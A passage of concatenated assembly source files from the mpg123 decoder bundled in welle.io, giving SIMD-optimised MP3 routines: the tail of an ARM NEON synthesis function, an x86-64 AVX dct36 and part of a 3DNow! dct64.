sub sp, sp, #16
mov r5, sp
and r5, r5, #0xf
sub sp, sp, r5
add WINDOW, WINDOW, #64
sub WINDOW, WINDOW, r4, lsl #2
mov r4, #4
mov r5, #128
mov r6, #64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmvn.i32 q14, #0xb9000000
vld1.32 {q15}, [sp, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vcvt.s32.f32 q13, q12, #16
vshr.u32 q14, q14, #31
vst1.32 {q13}, [SAMPLES]!
vadd.i32 q14, q14, q15
vst1.32 {q14}, [sp, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
sub B0L, B0L, #32
sub B0R, B0R, #32
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]!
vld1.32 {q10,q11}, [B0R, :128]!
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmvn.i32 q14, #0xb9000000
vld1.32 {q15}, [sp, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vcvt.s32.f32 q13, q12, #16
vshr.u32 q14, q14, #31
vst1.32 {q13}, [SAMPLES]!
vadd.i32 q14, q14, q15
vst1.32 {q14}, [sp, :128]
subs r4, r4, #1
bne 1b
mov r4, #4
mov r6, #-64
1:
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmvn.i32 q14, #0xb9000000
vld1.32 {q15}, [sp, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vcvt.s32.f32 q13, q12, #16
vshr.u32 q14, q14, #31
vst1.32 {q13}, [SAMPLES]!
vadd.i32 q14, q14, q15
vst1.32 {q14}, [sp, :128]
vmul.f32 q12, q0, q4
vmul.f32 q13, q0, q6
vmul.f32 q14, q2, q8
vmul.f32 q15, q2, q10
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
sub WINDOW, WINDOW, #96
add B0L, B0L, #96
add B0R, B0R, #96
vld1.32 {q0,q1}, [WINDOW], r5
vld1.32 {q2,q3}, [WINDOW]
vld1.32 {q4,q5}, [B0L, :128], r6
vld1.32 {q6,q7}, [B0R, :128], r6
vld1.32 {q8,q9}, [B0L, :128]
vld1.32 {q10,q11}, [B0R, :128]
vmla.f32 q12, q0, q4
vmla.f32 q13, q0, q6
vmla.f32 q14, q2, q8
vmla.f32 q15, q2, q10
add WINDOW, WINDOW, #96
sub B0L, B0L, #96
sub B0R, B0R, #96
vmla.f32 q12, q1, q5
vmla.f32 q13, q1, q7
vmla.f32 q14, q3, q9
vmla.f32 q15, q3, q11
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vpadd.f32 d26, d28, d29
vpadd.f32 d27, d30, d31
vmvn.i32 q14, #0xb9000000
vld1.32 {q15}, [sp, :128]
vpadd.f32 d24, d24, d25
vpadd.f32 d25, d26, d27
vacgt.f32 q14, q12, q14
vcvt.s32.f32 q13, q12, #16
vshr.u32 q14, q14, #31
vst1.32 {q13}, [SAMPLES]!
vadd.i32 q14, q14, q15
vst1.32 {q14}, [sp, :128]
subs r4, r4, #1
bne 1b
vld1.32 {q0}, [sp, :128]
vpadd.i32 d0, d0, d1
vpadd.i32 d0, d0, d0
vmov.32 r0, d0[0]
mov sp, r7
vpop {q4-q7}
pop {r4-r7, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,525 | src/libs/mpg123/dct36_avx.S | /*
dct36_avx: AVX optimized dct36 for x86-64
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
#define in %rcx
#define out1 %rdx
#define out2 %r8
#define w %r9
#define ts %r10
#define COS9_ %rax
#define tfcos36_ %r11
#else
#define in %rdi
#define out1 %rsi
#define out2 %rdx
#define w %rcx
#define ts %r8
#define COS9_ %rax
#define tfcos36_ %r9
#endif
/*
void dct36_avx(real *inbuf,real *o1,real *o2,real *wintab,real *tsbuf);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
dct36_avx_COS9:
.long 0x3f5db3d7
.long 0x3f5db3d7
.long 0x3f000000
.long 0x3f000000
.long 0x3f7c1c5c
.long 0x3f7c1c5c
.long 0x3f708fb2
.long 0x3f708fb2
.long 0x3f248dbb
.long 0x3f248dbb
.long 0x3e31d0d4
.long 0x3e31d0d4
.long 0x3eaf1d44
.long 0x3eaf1d44
.long 0x3f441b7d
.long 0x3f441b7d
ALIGN16
dct36_avx_tfcos36:
.long 0x3f007d2b
.long 0x3f0483ee
.long 0x3f0d3b7d
.long 0x3f1c4257
.long 0x40b79454
.long 0x3ff746ea
.long 0x3f976fd9
.long 0x3f5f2944
.long 0x3f3504f3
ALIGN16
dct36_avx_sign:
.long 0x80000000,0x80000000,0x80000000,0x80000000
.text
ALIGN16
.globl ASM_NAME(dct36_avx)
ASM_NAME(dct36_avx):
#ifdef IS_MSABI
push %rbp
mov %rsp, %rbp
sub $160, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
movq 48(%rbp), ts
#endif
lea dct36_avx_COS9(%rip), COS9_
lea dct36_avx_tfcos36(%rip), tfcos36_
xorps %xmm4, %xmm4
movups (in), %xmm0
movups 16(in), %xmm1
movups 32(in), %xmm2
movups 48(in), %xmm3
movlps 64(in), %xmm4
vshufps $0x93, %xmm0, %xmm0, %xmm5
vshufps $0x93, %xmm1, %xmm1, %xmm6
vshufps $0x93, %xmm2, %xmm2, %xmm7
vshufps $0x93, %xmm3, %xmm3, %xmm8
vshufps $0xe1, %xmm4, %xmm4, %xmm9
movss %xmm8, %xmm9 #[fg--]
addps %xmm9, %xmm4 #[gh--]
movss %xmm7, %xmm8
addps %xmm8, %xmm3 #[cdef]
movss %xmm6, %xmm7
addps %xmm7, %xmm2 #[89ab]
movss %xmm5, %xmm6
addps %xmm6, %xmm1 #[4567]
xorps %xmm6, %xmm6
movss %xmm6, %xmm5
addps %xmm5, %xmm0 #[0123]
vblendps $0x5, %xmm6, %xmm3, %xmm7
vshufps $0x4e, %xmm4, %xmm3, %xmm4
addps %xmm7, %xmm4
vblendps $0x5, %xmm6, %xmm2, %xmm7
vshufps $0x4e, %xmm3, %xmm2, %xmm3
addps %xmm7, %xmm3
vblendps $0x5, %xmm6, %xmm1, %xmm7
vshufps $0x4e, %xmm2, %xmm1, %xmm2
addps %xmm7, %xmm2
vblendps $0x5, %xmm6, %xmm0, %xmm7
vshufps $0x4e, %xmm1, %xmm0, %xmm1
addps %xmm7, %xmm1
vmovlhps %xmm0, %xmm6, %xmm0
/*
xmm0 in[-,-,0,1]
xmm1 in[2,3,4,5]
xmm2 in[6,7,8,9]
xmm3 in[10,11,12,13]
xmm4 in[14,15,16,17]
*/
vblendps $0xc, %xmm3, %xmm2, %xmm5
blendps $0xc, %xmm4, %xmm3
blendps $0xc, %xmm2, %xmm4
movaps %xmm5, %xmm2
/*
xmm2 in[6,7,12,13]
xmm3 in[10,11,16,17]
xmm4 in[14,15,8,9]
*/
movaps (COS9_), %xmm15
movaps 16(COS9_), %xmm6
movaps 32(COS9_), %xmm7
movaps 48(COS9_), %xmm8
vmulps %xmm2, %xmm15, %xmm5
addps %xmm0, %xmm5
/*
xmm5 [ta33,tb33,ta66,tb66]
xmm6 COS9_[1,1,2,2]
xmm7 COS9_[5,5,8,8]
xmm8 COS9_[7,7,4,4]
xmm15 COS9_[3,3,6,6]
*/
vmulps %xmm1, %xmm6, %xmm9
vmulps %xmm3, %xmm7, %xmm12
vmulps %xmm4, %xmm8, %xmm13
addps %xmm5, %xmm9
addps %xmm13, %xmm12
addps %xmm9, %xmm12
vsubps %xmm3, %xmm1, %xmm13
vshufps $0xe0, %xmm2, %xmm0, %xmm14
vsubps %xmm14, %xmm0, %xmm14
subps %xmm4, %xmm13
mulps %xmm15, %xmm13
addps %xmm14, %xmm13
vmulps %xmm1, %xmm7, %xmm9
vmulps %xmm3, %xmm8, %xmm15
vmulps %xmm4, %xmm6, %xmm14
subps %xmm5, %xmm9
subps %xmm15, %xmm14
addps %xmm9, %xmm14
mulps %xmm1, %xmm8
mulps %xmm3, %xmm6
mulps %xmm4, %xmm7
subps %xmm5, %xmm8
subps %xmm7, %xmm6
vaddps %xmm6, %xmm8, %xmm15
movss 32(tfcos36_), %xmm5
subps %xmm1, %xmm0
subps %xmm2, %xmm4
addps %xmm3, %xmm0
addps %xmm4, %xmm0
shufps $0xaf, %xmm0, %xmm0
vmulss %xmm5, %xmm0, %xmm11
/*
xmm12 [1a-0,1b-0, 2a-0, 2b-0]
xmm13 [1a-1,1b-1, 2a-1, 2b-1]
xmm14 [1a-2,1b-2,-2a-2,-2b-2]
xmm15 [1a-3,1b-3,-2a-3,-2b-3]
*/
vunpckhps %xmm13, %xmm12, %xmm5
vunpcklps %xmm13, %xmm12, %xmm12
vunpckhps %xmm15, %xmm14, %xmm6
vunpcklps %xmm15, %xmm14, %xmm14
xorps dct36_avx_sign(%rip), %xmm6
/*
xmm12 [1a-0,1a-1,1b-0,1b-1]
xmm5 [2a-0,2a-1,2b-0,2b-1]
xmm14 [1a-2,1a-3,1b-2,1b-3]
xmm6 [2a-2,2a-3,2b-2,2b-3]
*/
vmovlhps %xmm14, %xmm12, %xmm0
movhlps %xmm12, %xmm14
vmovlhps %xmm6, %xmm5, %xmm1
vmovhlps %xmm5, %xmm6, %xmm15
/*
xmm0 tmp1a
xmm1 tmp2a
xmm14 tmp1b
xmm15 tmp2b
*/
movaps (tfcos36_), %xmm6
movaps 16(tfcos36_), %xmm7
vsubps %xmm14, %xmm15, %xmm10
addps %xmm14, %xmm15
vsubps %xmm0, %xmm1, %xmm14
addps %xmm1, %xmm0
vmulps %xmm6, %xmm15, %xmm1
mulps %xmm10, %xmm7
/*
%xmm0 tmp[0,1,2,3]
%xmm1 tmp[17,16,15,14]
%xmm14 tmp[8,7,6,5]
%xmm7 tmp[9,10,11,12]
%xmm11 tmp[13,-,4,-]
*/
movups 108(w), %xmm2
movups 92(w), %xmm3
shufps $0x1b, %xmm3, %xmm3
movups 36(w), %xmm4
movups 20(w), %xmm5
shufps $0x1b, %xmm5, %xmm5
vsubps %xmm1, %xmm0, %xmm6
addps %xmm1, %xmm0
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movups 36(out1), %xmm1
movups 20(out1), %xmm3
shufps $0x1b, %xmm6, %xmm6
addps %xmm4, %xmm1
addps %xmm6, %xmm3
shufps $0x1b, %xmm0, %xmm0
movups %xmm2, 36(out2)
movups %xmm0, 20(out2)
movss %xmm1, 32*36(ts)
movss %xmm3, 32*20(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*44(ts)
movss %xmm4, 32*28(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*40(ts)
movss %xmm3, 32*24(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*48(ts)
movss %xmm4, 32*32(ts)
movhlps %xmm11, %xmm0
movss 124(w), %xmm2
movss 88(w), %xmm3
movss 52(w), %xmm4
movss 16(w), %xmm5
movss %xmm0, %xmm6
addss %xmm11, %xmm0
subss %xmm11, %xmm6
mulss %xmm0, %xmm2
mulss %xmm3, %xmm0
mulss %xmm6, %xmm4
mulss %xmm5, %xmm6
addss 52(out1), %xmm4
addss 16(out1), %xmm6
movss %xmm2, 52(out2)
movss %xmm0, 16(out2)
movss %xmm4, 32*52(ts)
movss %xmm6, 32*16(ts)
movaps %xmm14, %xmm0
movaps %xmm7, %xmm1
MOVUAPS 128(w), %xmm2
movups 72(w), %xmm3
shufps $0x1b, %xmm2, %xmm2
movlps 56(w), %xmm4
movhps 64(w), %xmm4
MOVUAPS (w), %xmm5
shufps $0x1b, %xmm4, %xmm4
vsubps %xmm1, %xmm0, %xmm6
addps %xmm1, %xmm0
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movlps 56(out1), %xmm1
movhps 64(out1), %xmm1
movups (out1), %xmm3
shufps $0x1b, %xmm4, %xmm4
addps %xmm6, %xmm3
addps %xmm4, %xmm1
shufps $0x1b, %xmm2, %xmm2
movups %xmm0, (out2)
movlps %xmm2, 56(out2)
movhps %xmm2, 64(out2)
movss %xmm1, 32*56(ts)
movss %xmm3, (ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*64(ts)
movss %xmm4, 32*8(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*60(ts)
movss %xmm3, 32*4(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*68(ts)
movss %xmm4, 32*12(ts)
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 13,723 | src/libs/mpg123/dct64_3dnow.S | /*
dct64_3dnow.s: Replacement of dct64() with AMD's 3DNow! SIMD operations support
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Syuuhei Kashiyama
Original "license" statement:
The author of this program disclaim whole expressed or implied
warranties with regard to this program, and in no event shall the
author of this program liable to whatever resulted from the use of
this program. Use it at your own risk.
*/
#include "mangle.h"
.globl ASM_NAME(dct64_3dnow)
/* .type ASM_NAME(dct64_3dnow),@function */
ASM_NAME(dct64_3dnow):
subl $256,%esp
pushl %ebp
pushl %edi
pushl %esi
pushl %ebx
#undef _EBX_
#define _EBX_ %ecx
GET_GOT
leal 16(%esp),%ebx
movl 284(%esp),%edi
movl 276(%esp),%ebp
movl 280(%esp),%edx
leal 128(%ebx),%esi
/* femms */
/* 1 */
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(pnts),%eax
movl (%eax),%eax
#else
movl GLOBAL_VAR(pnts),%eax
#endif
movq 0(%edi),%mm0
movq %mm0,%mm1
movd 124(%edi),%mm2
punpckldq 120(%edi),%mm2
movq 0(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,0(%ebx)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,124(%ebx)
psrlq $32,%mm1
movd %mm1,120(%ebx)
movq 8(%edi),%mm4
movq %mm4,%mm5
movd 116(%edi),%mm6
punpckldq 112(%edi),%mm6
movq 8(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,8(%ebx)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,116(%ebx)
psrlq $32,%mm5
movd %mm5,112(%ebx)
movq 16(%edi),%mm0
movq %mm0,%mm1
movd 108(%edi),%mm2
punpckldq 104(%edi),%mm2
movq 16(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,16(%ebx)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,108(%ebx)
psrlq $32,%mm1
movd %mm1,104(%ebx)
movq 24(%edi),%mm4
movq %mm4,%mm5
movd 100(%edi),%mm6
punpckldq 96(%edi),%mm6
movq 24(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,24(%ebx)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,100(%ebx)
psrlq $32,%mm5
movd %mm5,96(%ebx)
movq 32(%edi),%mm0
movq %mm0,%mm1
movd 92(%edi),%mm2
punpckldq 88(%edi),%mm2
movq 32(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,32(%ebx)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,92(%ebx)
psrlq $32,%mm1
movd %mm1,88(%ebx)
movq 40(%edi),%mm4
movq %mm4,%mm5
movd 84(%edi),%mm6
punpckldq 80(%edi),%mm6
movq 40(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,40(%ebx)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,84(%ebx)
psrlq $32,%mm5
movd %mm5,80(%ebx)
movq 48(%edi),%mm0
movq %mm0,%mm1
movd 76(%edi),%mm2
punpckldq 72(%edi),%mm2
movq 48(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,48(%ebx)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,76(%ebx)
psrlq $32,%mm1
movd %mm1,72(%ebx)
movq 56(%edi),%mm4
movq %mm4,%mm5
movd 68(%edi),%mm6
punpckldq 64(%edi),%mm6
movq 56(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,56(%ebx)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,68(%ebx)
psrlq $32,%mm5
movd %mm5,64(%ebx)
/* 2 */
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(pnts),%eax
movl 4(%eax),%eax
#else
movl 4+GLOBAL_VAR(pnts),%eax
#endif
/* 0,14 */
movq 0(%ebx),%mm0
movq %mm0,%mm1
movd 60(%ebx),%mm2
punpckldq 56(%ebx),%mm2
movq 0(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,0(%esi)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,60(%esi)
psrlq $32,%mm1
movd %mm1,56(%esi)
/* 16,30 */
movq 64(%ebx),%mm0
movq %mm0,%mm1
movd 124(%ebx),%mm2
punpckldq 120(%ebx),%mm2
pfadd %mm2,%mm0
movq %mm0,64(%esi)
pfsubr %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,124(%esi)
psrlq $32,%mm1
movd %mm1,120(%esi)
/* 2,12 */
movq 8(%ebx),%mm4
movq %mm4,%mm5
movd 52(%ebx),%mm6
punpckldq 48(%ebx),%mm6
movq 8(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,8(%esi)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,52(%esi)
psrlq $32,%mm5
movd %mm5,48(%esi)
/* 18,28 */
movq 72(%ebx),%mm4
movq %mm4,%mm5
movd 116(%ebx),%mm6
punpckldq 112(%ebx),%mm6
pfadd %mm6,%mm4
movq %mm4,72(%esi)
pfsubr %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,116(%esi)
psrlq $32,%mm5
movd %mm5,112(%esi)
/* 4,10 */
movq 16(%ebx),%mm0
movq %mm0,%mm1
movd 44(%ebx),%mm2
punpckldq 40(%ebx),%mm2
movq 16(%eax),%mm3
pfadd %mm2,%mm0
movq %mm0,16(%esi)
pfsub %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,44(%esi)
psrlq $32,%mm1
movd %mm1,40(%esi)
/* 20,26 */
movq 80(%ebx),%mm0
movq %mm0,%mm1
movd 108(%ebx),%mm2
punpckldq 104(%ebx),%mm2
pfadd %mm2,%mm0
movq %mm0,80(%esi)
pfsubr %mm2,%mm1
pfmul %mm3,%mm1
movd %mm1,108(%esi)
psrlq $32,%mm1
movd %mm1,104(%esi)
/* 6,8 */
movq 24(%ebx),%mm4
movq %mm4,%mm5
movd 36(%ebx),%mm6
punpckldq 32(%ebx),%mm6
movq 24(%eax),%mm7
pfadd %mm6,%mm4
movq %mm4,24(%esi)
pfsub %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,36(%esi)
psrlq $32,%mm5
movd %mm5,32(%esi)
/* 22,24 */
movq 88(%ebx),%mm4
movq %mm4,%mm5
movd 100(%ebx),%mm6
punpckldq 96(%ebx),%mm6
pfadd %mm6,%mm4
movq %mm4,88(%esi)
pfsubr %mm6,%mm5
pfmul %mm7,%mm5
movd %mm5,100(%esi)
psrlq $32,%mm5
movd %mm5,96(%esi)
/* 3 */
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(pnts),%eax
movl 8(%eax),%eax
#else
movl 8+GLOBAL_VAR(pnts),%eax
#endif
movq 0(%eax),%mm0
movq 8(%eax),%mm1
/* 0,6 */
movq 0(%esi),%mm2
movq %mm2,%mm3
movd 28(%esi),%mm4
punpckldq 24(%esi),%mm4
pfadd %mm4,%mm2
pfsub %mm4,%mm3
pfmul %mm0,%mm3
movq %mm2,0(%ebx)
movd %mm3,28(%ebx)
psrlq $32,%mm3
movd %mm3,24(%ebx)
/* 2,4 */
movq 8(%esi),%mm5
movq %mm5,%mm6
movd 20(%esi),%mm7
punpckldq 16(%esi),%mm7
pfadd %mm7,%mm5
pfsub %mm7,%mm6
pfmul %mm1,%mm6
movq %mm5,8(%ebx)
movd %mm6,20(%ebx)
psrlq $32,%mm6
movd %mm6,16(%ebx)
/* 8,14 */
movq 32(%esi),%mm2
movq %mm2,%mm3
movd 60(%esi),%mm4
punpckldq 56(%esi),%mm4
pfadd %mm4,%mm2
pfsubr %mm4,%mm3
pfmul %mm0,%mm3
movq %mm2,32(%ebx)
movd %mm3,60(%ebx)
psrlq $32,%mm3
movd %mm3,56(%ebx)
/* 10,12 */
movq 40(%esi),%mm5
movq %mm5,%mm6
movd 52(%esi),%mm7
punpckldq 48(%esi),%mm7
pfadd %mm7,%mm5
pfsubr %mm7,%mm6
pfmul %mm1,%mm6
movq %mm5,40(%ebx)
movd %mm6,52(%ebx)
psrlq $32,%mm6
movd %mm6,48(%ebx)
/* 16,22 */
movq 64(%esi),%mm2
movq %mm2,%mm3
movd 92(%esi),%mm4
punpckldq 88(%esi),%mm4
pfadd %mm4,%mm2
pfsub %mm4,%mm3
pfmul %mm0,%mm3
movq %mm2,64(%ebx)
movd %mm3,92(%ebx)
psrlq $32,%mm3
movd %mm3,88(%ebx)
/* 18,20 */
movq 72(%esi),%mm5
movq %mm5,%mm6
movd 84(%esi),%mm7
punpckldq 80(%esi),%mm7
pfadd %mm7,%mm5
pfsub %mm7,%mm6
pfmul %mm1,%mm6
movq %mm5,72(%ebx)
movd %mm6,84(%ebx)
psrlq $32,%mm6
movd %mm6,80(%ebx)
/* 24,30 */
movq 96(%esi),%mm2
movq %mm2,%mm3
movd 124(%esi),%mm4
punpckldq 120(%esi),%mm4
pfadd %mm4,%mm2
pfsubr %mm4,%mm3
pfmul %mm0,%mm3
movq %mm2,96(%ebx)
movd %mm3,124(%ebx)
psrlq $32,%mm3
movd %mm3,120(%ebx)
/* 26,28 */
movq 104(%esi),%mm5
movq %mm5,%mm6
movd 116(%esi),%mm7
punpckldq 112(%esi),%mm7
pfadd %mm7,%mm5
pfsubr %mm7,%mm6
pfmul %mm1,%mm6
movq %mm5,104(%ebx)
movd %mm6,116(%ebx)
psrlq $32,%mm6
movd %mm6,112(%ebx)
/* 4 */
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(pnts),%eax
movl 12(%eax),%eax
#else
movl 12+GLOBAL_VAR(pnts),%eax
#endif
movq 0(%eax),%mm0
/* 0 */
movq 0(%ebx),%mm1
movq %mm1,%mm2
movd 12(%ebx),%mm3
punpckldq 8(%ebx),%mm3
pfadd %mm3,%mm1
pfsub %mm3,%mm2
pfmul %mm0,%mm2
movq %mm1,0(%esi)
movd %mm2,12(%esi)
psrlq $32,%mm2
movd %mm2,8(%esi)
/* 4 */
movq 16(%ebx),%mm4
movq %mm4,%mm5
movd 28(%ebx),%mm6
punpckldq 24(%ebx),%mm6
pfadd %mm6,%mm4
pfsubr %mm6,%mm5
pfmul %mm0,%mm5
movq %mm4,16(%esi)
movd %mm5,28(%esi)
psrlq $32,%mm5
movd %mm5,24(%esi)
/* 8 */
movq 32(%ebx),%mm1
movq %mm1,%mm2
movd 44(%ebx),%mm3
punpckldq 40(%ebx),%mm3
pfadd %mm3,%mm1
pfsub %mm3,%mm2
pfmul %mm0,%mm2
movq %mm1,32(%esi)
movd %mm2,44(%esi)
psrlq $32,%mm2
movd %mm2,40(%esi)
/* 12 */
movq 48(%ebx),%mm4
movq %mm4,%mm5
movd 60(%ebx),%mm6
punpckldq 56(%ebx),%mm6
pfadd %mm6,%mm4
pfsubr %mm6,%mm5
pfmul %mm0,%mm5
movq %mm4,48(%esi)
movd %mm5,60(%esi)
psrlq $32,%mm5
movd %mm5,56(%esi)
/* 16 */
movq 64(%ebx),%mm1
movq %mm1,%mm2
movd 76(%ebx),%mm3
punpckldq 72(%ebx),%mm3
pfadd %mm3,%mm1
pfsub %mm3,%mm2
pfmul %mm0,%mm2
movq %mm1,64(%esi)
movd %mm2,76(%esi)
psrlq $32,%mm2
movd %mm2,72(%esi)
/* 20 */
movq 80(%ebx),%mm4
movq %mm4,%mm5
movd 92(%ebx),%mm6
punpckldq 88(%ebx),%mm6
pfadd %mm6,%mm4
pfsubr %mm6,%mm5
pfmul %mm0,%mm5
movq %mm4,80(%esi)
movd %mm5,92(%esi)
psrlq $32,%mm5
movd %mm5,88(%esi)
/* 24 */
movq 96(%ebx),%mm1
movq %mm1,%mm2
movd 108(%ebx),%mm3
punpckldq 104(%ebx),%mm3
pfadd %mm3,%mm1
pfsub %mm3,%mm2
pfmul %mm0,%mm2
movq %mm1,96(%esi)
movd %mm2,108(%esi)
psrlq $32,%mm2
